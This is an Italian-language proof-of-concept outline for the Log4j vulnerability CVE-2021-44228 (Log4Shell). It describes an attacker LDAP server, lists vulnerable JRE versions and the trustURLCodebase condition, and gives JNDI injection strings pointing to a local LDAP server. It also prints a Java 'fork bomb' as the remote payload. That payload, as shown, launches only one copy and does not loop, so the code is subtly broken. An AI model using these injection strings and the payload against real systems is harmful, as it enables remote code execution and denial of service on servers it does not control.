
💣💥💀 Prova di concetto: esempio di lancio di una fork bomb su un server remoto grazie alla vulnerabilità CVE-2021-44228
💣💥💀 Prova di concetto: esempio di lancio di una fork bomb su un server remoto grazie alla vulnerabilità CVE-2021-44228
Creiamo il server LDAP dell'attaccante (modulo server), che fornirà rappresentazioni di stringhe e codice (modulo payload)
Creiamo un esempio di vittima (modulo victim) e passiamo a Log4j la stringa Versione JRE <= 6u211, 7u201, 8u191 e 11.0.1
${jndi:ldap://127.0.0.1:1389/anything}
${jndi:ldap://127.0.0.1:1389/jar}
L'applicazione vittima riceverà dal server dell'attaccante un array di byte e li interpreterà come stringa da sostituire o come codice eseguibile (parametro com.sun.jndi.ldap.object.trustURLCodebase = true)
Per esempio, il codice eseguibile sarà una fork bomb (un programma che lancia le proprie copie, saturando tutto il tempo della CPU)
public class ForkBomb {
public static void main(String... args) {
Runtime.getRuntime().exec(new String[] {
"javaw",
"-cp",
System.getProperty("java.class.path"),
"ForkBomb"
});
}
}